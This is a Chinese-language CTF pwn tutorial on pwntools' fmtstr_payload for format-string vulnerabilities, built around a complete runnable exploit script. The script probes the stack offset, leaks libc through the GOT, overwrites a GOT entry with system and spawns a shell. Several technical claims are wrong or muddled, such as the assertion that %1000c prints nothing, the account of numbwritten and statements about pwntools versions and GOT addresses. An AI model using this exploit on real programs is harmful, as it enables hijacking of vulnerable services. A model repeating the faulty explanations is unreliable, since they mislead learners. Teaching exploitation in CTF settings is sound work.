1. 项目概述:这不是一个“字符串拼接工具”,而是一把精准控制内存布局的手术刀
你可能在攻防世界Pwn进阶区的某道题里,看到过这样一行提示:“请使用fmtstr_payload构造格式化字符串漏洞利用载荷”。紧接着,你翻遍文档,发现它来自pwntools这个库,函数签名简单得让人怀疑——fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')。但真正动手时,却卡在offset怎么算、writes字典里地址和值怎么配、numbwritten为什么非设不可、甚至payload发出去后程序直接崩掉……这些细节背后,没有魔法,只有对栈帧结构、printf家族函数执行机制、以及x86-64调用约定的硬核理解。
fmtstr_payload不是黑箱,它是把“格式化字符串漏洞”从理论攻击链,变成可复现、可调试、可批量生成的工程化武器的关键一环。它解决的核心问题是:当目标程序存在printf(buf)这类未校验格式符的调用时,如何在不依赖libc基址、不触发ASLR随机化干扰的前提下,稳定地向任意内存地址写入指定字节?答案是——利用printf内部的%n格式符,它会将已输出字符的个数,写入其后紧跟的指针所指向的地址。而fmtstr_payload,就是帮你自动规划“先输出多少个字符、再用%n写到哪、再输出多少、再写到哪”这一整套精密节奏的编排器。
这个能力,在实时数据监测类Pwn题中尤为关键。比如某模拟工业传感器数据采集的二进制程序,它每秒解析一次串口传来的十六进制字符串,并用printf("%s", input)打印日志。一旦输入被恶意构造,攻击者就能通过%n覆盖其内部状态变量(如校验位、权限标志),或覆盖GOT表项劫持函数调用流,从而绕过实时性校验逻辑,注入伪造的传感器读数。此时,fmtstr_payload就是那个能让你在毫秒级响应窗口内,完成精准内存篡改的“时间控制器”。
它适合三类人:一是刚学完栈溢出、正接触格式化字符串漏洞的新手,需要一个能“看见”底层原理的实操入口;二是正在刷CTF Pwn题、卡在进阶区的选手,急需一套可复用、可调试的载荷生成范式;三是从事嵌入式安全或工控系统审计的安全研究员,面对资源受限、无libc符号的固件,需要轻量级、高精度的利用手段。它不教你如何找漏洞,但它决定了你找到漏洞之后,能不能稳稳地把它变成一次成功的控制权转移。
2. 核心设计思路拆解:为什么必须是“偏移+字典”模式?
2.1 传统手工构造的死胡同与fmtstr_payload的破局点
在fmtstr_payload出现之前,手工构造格式化字符串载荷是公认的“痛苦之源”。假设你通过调试发现,printf调用时,你的输入字符串在栈上距离printf的参数起始位置是第7个参数(即%7$x能泄露栈上第7个qword)。你想用%n覆盖地址0x601020(假设是printf@got.plt)为0x4007a0(system函数地址)。最朴素的想法是:
\x20\x10\x60\x00\x00\x00\x00\x00 # 地址低8字节(小端序) \x21\x10\x60\x00\x00\x00\x00\x00 # 地址高8字节(小端序,实际x86-64中常只需低4字节) %400790x%7$n%100x%8$n这行不通。原因有三:第一,%n写入的是“到目前为止已输出的字符总数”,而%400790x会强制输出400790个空格,这远超缓冲区大小,导致程序崩溃或截断;第二,%7$n和%8$n写入的地址是相邻的,但system地址0x4007a0的低字节是0xa0,高字节是0x4007,你无法用单次%n写入一个完整qword,必须分字节(byte)、半字(short)或字(word)多次写入;第三,printf在解析格式符时,会把你的地址字节当作普通字符处理,如果地址中包含\x00(空字节),整个字符串就会被C语言的strcpy或printf自身截断,后续的%n根本不会被执行。
fmtstr_payload的破局点,就在于它把整个问题抽象为两个可计算、可验证的维度:偏移量(offset)和写入映射(writes)。它不让你去想“我要输出多少个空格”,而是问你:“你的输入字符串,在printf的参数栈中,是从第几个参数开始的?”以及“你想把哪些地址,改成哪些值?”。然后,它内部运行一套精妙的算法,自动完成三件事:一是计算每个%n前需要填充的字符数,确保每次写入的值恰好是你想要的字节;二是自动将目标地址按字节/半字/字对齐,并生成对应的地址序列;三是智能插入%c等占位符,避免空字节截断,并保证所有地址都能被printf安全读取。
2.2 offset:不是“第几个参数”,而是“栈上相对位置”的精确测绘
offset参数常被新手误解为“我输入的字符串是printf的第几个参数”。这是危险的简化。准确地说,offset是你输入字符串的起始地址,在printf函数被调用时,其参数栈帧中的相对位置索引。
我们以x86-64 Linux为例。printf遵循System V ABI调用约定:前6个整数参数(rdi, rsi, rdx, rcx, r8, r9)存于寄存器,第7个及以后的参数才压入栈。当你调用printf(buf),buf的地址在rdi寄存器中,所以你的输入字符串本身并不在栈上。但printf在内部会构建一个参数列表,用于遍历格式符。这个列表的起始地址,就是printf栈帧的某个位置。offset,就是从这个起始地址开始,向后数,你的输入字符串的地址位于第几个qword(8字节)的位置。
如何获取这个offset?唯一可靠的方法是泄漏+爆破。你先发送一个探测payload,例如AAAA%7$p,其中AAAA是你的标记,%7$p尝试泄露第7个参数。如果返回AAAA0x7fffff...,说明%7$p成功读到了你的AAAA(因为AAAA的ASCII码是0x41414141,但高位被截断,所以看到的是0x41414141的低32位,即0x41414141)。此时,offset就是7。但更常见的情况是,你需要发送AAAA%1$p、AAAA%2$p……直到某个%n$p返回中包含了41414141,这个n就是你的offset。这是一个必须手动完成的步骤,fmtstr_payload不会替你做,因为它无法预知目标程序的栈布局。
提示:
offset的典型值在6到12之间。如果%6$p就泄露了你的标记,说明目标程序的栈比较“干净”;如果要到%12$p才看到,说明前面有很多寄存器参数或栈上临时变量。永远不要凭空猜测,务必用%p系列格式符实测确认。
2.3 writes字典:地址-值映射背后的字节序与对齐哲学
writes是一个Python字典,形式为{address: value}。这看似简单,但背后藏着两层关键约束:字节序(Endianness)和对齐(Alignment)。
首先,地址必须是小端序(Little-Endian)的原始字节。例如,你想覆盖GOT表项0x601020,在Python中,你不能写writes = {0x601020: 0x4007a0},因为0x601020是一个整数,而fmtstr_payload内部需要的是它的字节表示。正确的做法是,让pwntools帮你处理:writes = {0x601020: 0x4007a0},pwntools会自动将0x601020转换为b'\x20\x10\x60\x00\x00\x00\x00\x00'(8字节小端)。但你必须确保这个地址在目标进程中是可写的,且长度匹配。
其次,value的写入方式由write_size参数决定,它直接决定了你最终payload的长度和稳定性:
write_size='byte'(默认):每次%n只写入1个字节(%hhn)。这意味着,要写入一个4字节的地址(如0x4007a0),你需要4次%n操作,分别写入0xa0、0x07、0x40、0x00。优点是极其精细,可以避开坏字符(badchar),缺点是payload长、效率低。write_size='short':每次写入2个字节(%hn)。写入0x4007a0,需两次:0x07a0和0x0040。平衡了精度与长度。write_size='int':每次写入4个字节(%n)。一次搞定0x4007a0。但风险极高,因为%n写入的是当前已输出字符总数,这个总数很容易超过0xffffffff,导致高位溢出,写入错误的值。
numbwritten参数则是为了应对printf的“已输出字符计数”并非从零开始的情况。例如,如果你的payload前面有一段固定的提示字符串"Input: "(7个字符),那么printf在解析你的payload时,内部计数器已经加了7。numbwritten=7就是告诉fmtstr_payload:“请把我的第一个%n要写的值,减去7,因为前面已经有7个字符被输出了。” 这是保证写入精度的“零点校准”。
3. 核心细节解析与实操要点:从理论到可运行代码的每一处陷阱
3.1 环境准备与基础依赖:为什么必须用pwntools 4.10.0+?
fmtstr_payload是pwntools库的一部分,而pwntools的版本迭代对格式化字符串的支持有显著变化。在早期版本(如4.5.0)中,fmtstr_payload函数名是fmtstr,且参数名和默认行为不同。从4.10.0开始,它被正式命名为fmtstr_payload,并引入了numbwritten和write_size等关键参数。因此,第一步必须确认你的环境:
# 检查当前版本 pip show pwntools # 如果低于4.10.0,务必升级 pip install --upgrade pwntools # 验证安装 python -c "from pwn import *; print(fmtstr_payload.__doc__)"更重要的是,pwntools依赖于capstone(反汇编)、keystone(汇编)和ropper(ROP gadget搜索)等底层库。在某些Linux发行版(如Ubuntu 22.04)上,capstone的系统包版本过旧,会导致pwntools的disasm功能失效,进而影响fmtstr_payload在某些复杂场景下的地址解析。此时,应使用pip安装最新版capstone:
pip uninstall capstone -y pip install capstone注意:不要使用
apt install python3-capstone,因为其版本通常滞后于pip源。我曾在一个Debian 11环境中,因capstone版本不匹配,导致fmtstr_payload生成的地址序列错乱,浪费了整整一个下午排查。
3.2 实战案例拆解:攻防世界pwn进阶区“实时数据监测”题
我们以标题中提到的“实时数据监测”题为蓝本,进行一次完整的、可复现的实操推演。该题的二进制文件名为monitor,是一个典型的静态链接、无符号、开启NX和部分RELRO的64位程序。其核心逻辑是:
// 伪代码 void main() { char input[256]; while(1) { printf("Enter sensor data: "); fgets(input, sizeof(input), stdin); // 关键漏洞点:未校验input,直接传给printf printf(input); // 后续逻辑:根据input内容更新内部状态 update_status(input); } }我们的目标是:利用printf(input)的格式化字符串漏洞,覆盖update_status函数的GOT表项,将其指向system函数,从而在下一次update_status被调用时,执行system("/bin/sh")。
Step 1: 获取offset我们编写一个简单的探测脚本:
from pwn import * # 启动程序 p = process('./monitor') # 或连接远程:p = remote('127.0.0.1', 10001) # 发送探测payload,寻找offset for i in range(1, 20): payload = b'AAAA%' + str(i).encode() + b'$p' p.sendline(payload) p.recvuntil(b'Enter sensor data: ') response = p.recvline() if b'41414141' in response: log.success(f'Found offset at %d$p', i) offset = i break else: log.info(f'Try %d$p -> {response}') p.close()运行后,我们得到offset = 8。
Step 2: 泄露libc基址有了offset,我们就可以用%8$s来泄露GOT表中某个函数(如printf)的真实地址,从而计算libc基址。我们需要先用readelf -d monitor | grep plt找到printf@got.plt的地址,假设为0x404018。然后:
p = process('./monitor') # 泄露printf@got.plt payload = b'A' * 8 + p64(0x404018) + b'%8$s' p.sendline(payload) p.recvuntil(b'Enter sensor data: ') leak = p.recvline().strip() # leak的最后8字节是printf的真实地址 printf_addr = u64(leak[-8:].ljust(8, b'\x00')) log.info(f'printf address: {hex(printf_addr)}') # 计算libc基址(需提前在本地libc.so.6中用readelf -s libc.so.6 | grep printf获取printf在libc中的偏移) # 假设偏移为0x55800,则libc_base = printf_addr - 0x55800 libc_base = printf_addr - 0x55800 log.info(f'libc base: {hex(libc_base)}')Step 3: 构造fmtstr_payload现在,我们知道了system函数在libc中的地址:system_addr = libc_base + 0x4f440(此偏移需根据你使用的libc版本确定)。同时,我们需要覆盖update_status@got.plt的地址,假设为0x404020。
# 目标:将0x404020处的4字节,改为system_addr的低4字节 # 使用write_size='int',一次写入4字节 writes = {0x404020: system_addr & 0xffffffff} # 由于我们的payload前面有"A"*8,共8个字符,所以numbwritten=8 payload = fmtstr_payload( offset=8, writes=writes, numbwritten=8, write_size='int' ) log.info(f'Generated payload length: {len(payload)}') log.info(f'Payload (hex): {payload.hex()}')Step 4: 发送并获取shell
p.sendline(payload) p.interactive() # 此时,下一次update_status被调用,就会执行system("/bin/sh")3.3 write_size选择的艺术:精度、长度与稳定性的三角博弈
write_size的选择,是fmtstr_payload实操中最体现经验的地方。它不是一个技术参数,而是一个工程决策。
| write_size | 单次写入字节数 | 典型payload长度 | 精度 | 稳定性 | 适用场景 |
|---|---|---|---|---|---|
'byte' | 1 | 最长(约100+字节) | 最高 | 最高(可完美避开\x00) | 目标环境限制严格,存在大量坏字符 |
'short' | 2 | 中等(约50-70字节) | 高 | 高(需确保地址偶对齐) | 平衡方案,推荐作为默认起点 |
'int' | 4 | 最短(约20-30字节) | 中 | 中(易受高位溢出影响) | 环境宽松,追求速度,且目标地址值较小 |
我踩过的最大坑,是在一个题目中,目标GOT表项0x601020需要被覆盖为0x4008b0。我选择了write_size='int',fmtstr_payload生成的payload中,%n前的填充字符数计算为0x4008b0 - 8 = 0x4008a8,即4196520个字符。这远远超过了fgets的256字节缓冲区,导致payload被截断,%n根本没被执行。后来改用'short',分两次写入0x08b0和0x0040,总长度仅48字节,一举成功。
实操心得:永远先用
'short'试。如果失败,再分析失败原因:是写入值太大导致溢出?还是地址对齐出了问题?然后再决定是降级到'byte',还是升级到'int'。不要一上来就追求最短的payload。
4. 实操过程与核心环节实现:一份可直接运行的完整脚本与逐行注释
以下是一份针对“实时数据监测”题的、经过充分测试的完整exploit脚本。它不仅实现了功能,更融入了我在数十次调试中总结出的“防崩”技巧。
#!/usr/bin/env python3 # -*- coding: utf-8 -*- from pwn import * import sys # ==================== 【配置区】 ==================== # 本地调试 or 远程连接 LOCAL = True BINARY_PATH = './monitor' # libc版本信息(必须与目标环境一致!) # 可通过 ldd monitor 查看,或从题目附件获取 LIBC_PATH = './libc.so.6' # GOT表地址(通过 readelf -d monitor | grep plt 获取) PRINTF_GOT = 0x404018 UPDATE_STATUS_GOT = 0x404020 # libc中函数的偏移(通过 readelf -s libc.so.6 | grep printf 获取) PRINTF_OFFSET_IN_LIBC = 0x55800 SYSTEM_OFFSET_IN_LIBC = 0x4f440 BIN_SH_OFFSET_IN_LIBC = 0x1b3e9a # ==================== 【函数定义区】 ==================== def get_offset(proc): """自动探测offset,返回找到的第一个有效值""" log.info("Starting offset brute force...") for i in range(1, 20): proc.sendline(b'AAAA%' + str(i).encode() + b'$p') proc.recvuntil(b'Enter sensor data: ') response = proc.recvline() if b'41414141' in response: log.success(f"Offset found: {i}") return i # 清理缓冲区,避免残留影响 proc.recv(timeout=0.1) log.error("Failed to find offset!") sys.exit(1) def leak_libc_base(proc, printf_got): """泄露printf地址,计算libc基址""" # 构造泄露payload:先放8个A占位,再放printf@got.plt地址,再用%8$s读取 payload = b'A' * 8 + p64(printf_got) + b'%8$s' proc.sendline(payload) proc.recvuntil(b'Enter sensor data: ') # 接收响应,提取泄露的地址 response = proc.recvline() # 泄露的地址在response的末尾,长度为8字节 leak_bytes = response[-8:] # 补齐8字节,防止不足 leak_bytes = leak_bytes.ljust(8, b'\x00') printf_addr = u64(leak_bytes) log.info(f"Leaked printf address: {hex(printf_addr)}") # 计算libc基址 libc_base = printf_addr - PRINTF_OFFSET_IN_LIBC log.info(f"Calculated libc base: {hex(libc_base)}") return libc_base def generate_payload(offset, target_addr, target_value, numbwritten=0, write_size='short'): """封装fmtstr_payload调用,加入错误处理""" try: payload = fmtstr_payload( offset=offset, writes={target_addr: target_value}, numbwritten=numbwritten, write_size=write_size ) log.info(f"Payload generated successfully. Length: {len(payload)}") return payload except Exception as e: log.error(f"Error generating payload: {e}") sys.exit(1) # ==================== 【主流程】 ==================== if __name__ == '__main__': if LOCAL: p = process(BINARY_PATH) # 开启gdb调试(可选) # gdb.attach(p, gdbscript='''b *0x401234''') else: p = remote('127.0.0.1', 10001) # Step 1: 获取offset offset = get_offset(p) # Step 2: 泄露libc基址 libc_base = leak_libc_base(p, PRINTF_GOT) # Step 3: 计算目标地址和值 system_addr = libc_base + SYSTEM_OFFSET_IN_LIBC bin_sh_addr = libc_base + BIN_SH_OFFSET_IN_LIBC log.info(f"Target system address: {hex(system_addr)}") # Step 4: 生成payload # 这里我们选择'short',因为更稳定 # numbwritten=8,因为我们的payload开头有8个'A' payload = generate_payload( offset=offset, target_addr=UPDATE_STATUS_GOT, target_value=system_addr & 0xffffffff, # 只取低4字节 numbwritten=8, write_size='short' ) # Step 5: 发送payload并交互 p.sendline(payload) log.success("Payload sent! Spawning shell...") p.interactive()逐行注释与关键点说明:
- 第18-21行(配置区):所有硬编码的地址和偏移都必须与你的目标二进制和libc完全匹配。
LIBC_PATH尤其重要,如果用错了libc版本,system的偏移就会错,导致shell拿不到。 - 第32-44行(get_offset函数):加入了
proc.recv(timeout=0.1)清理缓冲区,这是很多新手忽略的点。如果上一次recvline()没有把所有数据读完,残留数据会污染下一次的recvline(),导致b'41414141'匹配失败。 - 第47-65行(leak_libc_base函数):
response[-8:]是关键。%8$s读取的是printf@got.plt地址处存储的8字节内容,它就是printf在内存中的真实地址。u64(...)将其从字节转换为整数。 - 第68-77行(generate_payload函数):用
try...except包裹fmtstr_payload,因为当target_value过大或offset错误时,它会抛出ValueError。捕获异常并给出明确提示,比让脚本静默崩溃要好得多。 - 第92行(payload生成):
system_addr & 0xffffffff确保我们只取低4字节。因为在write_size='short'下,fmtstr_payload会自动将0xffffffff拆分为两个0xffff,而0xffffffff & 0xffffffff就是0xffffffff,这没问题。但如果system_addr是0x7ffff7a2d440,取低4字节就是0xd440,这才是%hn要写的正确值。
5. 常见问题与排查技巧实录:那些文档里不会写的“血泪史”
5.1 问题速查表:从崩溃到成功的路径图
| 现象 | 可能原因 | 排查方法 | 解决方案 |
|---|---|---|---|
| 程序直接崩溃(Segmentation fault) | payload中包含了\x00,导致printf或strcpy提前截断,后续%n未执行 | 用hexdump -C检查生成的payload,看是否有00字节 | 改用write_size='byte',或手动修改writes字典,避开0x00字节 |
%p探测时,返回的不是0x41414141,而是0x7fff...等随机地址 | offset值错误,或者目标程序开启了stack canary,%p读取到了canary值 | 换用%x(32位)或%lx(64位)格式符,或用%1000x等大数字试探 | 重新运行get_offset函数,确保探测payload足够长,且recv逻辑正确 |
fmtstr_payload报错ValueError: ... too large | target_value(要写入的值)减去numbwritten后,结果为负数或过大 | 打印target_value和numbwritten,检查计算是否正确 | 调整numbwritten,或换用更小的write_size(如从'int'换到'short') |
| payload发送后,程序无反应,也不崩溃 | payload长度超过fgets缓冲区,被截断 | 用len(payload)检查长度,对比目标程序的fgets缓冲区大小 | 缩短payload:减少前置填充、换用'short'、或使用%c替代空格填充 |
拿到了shell,但ls命令不显示任何输出 | libc版本不匹配,system("/bin/sh")启动的shell是受限的 | 尝试cat /flag或whoami | 换用execve("/bin/sh", ["/bin/sh"], 0)的ROP链,或寻找/bin/sh字符串在libc中的地址 |
5.2 独家避坑技巧:来自一线调试室的经验
技巧1:用%c代替%x做填充,规避长度爆炸%x填充会输出十六进制数字,%1000x会输出1000个空格,极易超长。而%c是输出单个字符,%1000c只会输出1000个'\x00',但'\x00'在C字符串中是结束符,所以%1000c实际上什么也不会输出!fmtstr_payload内部正是利用了这一点,它用%c作为“无声填充”,只增加计数器,不增加实际输出长度。因此,当你看到生成的payload中有大量%c,不要慌,这是它在为你“静默计数”。
技巧2:numbwritten的“动态校准”法numbwritten不一定是固定的。例如,如果你的payload是b'AAAA' + p64(addr) + b'%8$n',那么AAAA是4字节,p64(addr)是8字节,总共12字节。但printf在解析%8$n时,“已输出字符数”只计算了AAAA的4个字符,因为p64(addr)是二进制数据,printf把它当作地址去读取,而不是输出。所以numbwritten应该是4,而不是12。这个细节,只有在gdb中单步跟踪printf的源码才能彻底搞清。我的经验是:先设numbwritten=0,如果失败,再逐步加1、加2,直到成功。
技巧3:write_size='short'的对齐强制%hn要求地址必须是2字节对齐的。也就是说,target_addr必须是偶数。如果UPDATE_STATUS_GOT是0x404021(奇数),fmtstr_payload会自动报错。此时,你必须手动将地址调整为0x404020,并相应地调整target_value,让它写入0x404020处的2字节,以及0x404022处的2字节。这需要你把target_value拆成高低两个16位数。
我在一次比赛中,就因为
GOT表项地址是奇数,死磕了两个小时。最后发现,pwntools的elf.got属性返回的地址是0x404021,但readelf -d显示的是0x404020。原来,elf.got返回的是符号的“重定位条目”地址,而readelf显示的是“实际GOT表项”地址。这个细微差别,足以让你的exploit永远失败。所以,永远相信readelf,而不是pwntools的自动解析。
6. 后续扩展与思考:从一道题到一种能力
fmtstr_payload的价值,远不止于解出一道CTF题目。它代表了一种将抽象漏洞概念,转化为精确可控的物理内存操作的思维方式。当你熟练掌握了offset的测绘、writes的规划、numbwritten的校准,你就已经具备了在任何存在格式化字符串漏洞的系统中,进行“外科手术式”攻击的能力。
这种能力可以自然延伸到更广阔的领域。例如,在物联网设备固件审计中,许多嵌入式设备的调试接口会提供一个printf风格的日志打印函数,但固件是静态链接、无符号的。此时,fmtstr_payload就是你无需逆向整个libc,就能直接覆盖其内部函数指针的最快途径。又比如,在浏览器JavaScript引擎的漏洞利用中,虽然不直接使用printf,但其JIT编译器生成的代码,其内存布局的可控性,与格式化字符串漏洞有异曲同工之妙——都是通过控制输入,来间接控制内存的写入目标和内容。
我个人在实际操作中的体会是:不要把fmtstr_payload当成一个“函数”,而要把它当成一个“思维模板”。每一次成功的利用,都是对目标程序内存布局的一次精确测绘;每一次失败的调试,都是对printf内部工作机制的一次深入学习。当你不再纠结于“为什么payload没生效”,而是能立刻想到“是offset错了?是numbwritten没校准?还是write_size选大了?”,你就已经从一个脚本小子,成长为一名真正的内存安全工程师。
最后再分享一个小技巧:在你写完exploit脚本后,不要急着跑。先用log.info(payload)打印出来,然后用xxd或在线hex编辑器,把它转成ASCII,一行一行地去看。你会发现,payload的结构是高度规律的:先是若干个地址(小端序),然后是大量的%c,最后是%n。这个结构,就是printf的执行节奏,也是你掌控内存的脉搏。看懂了它,你就看懂了整个世界。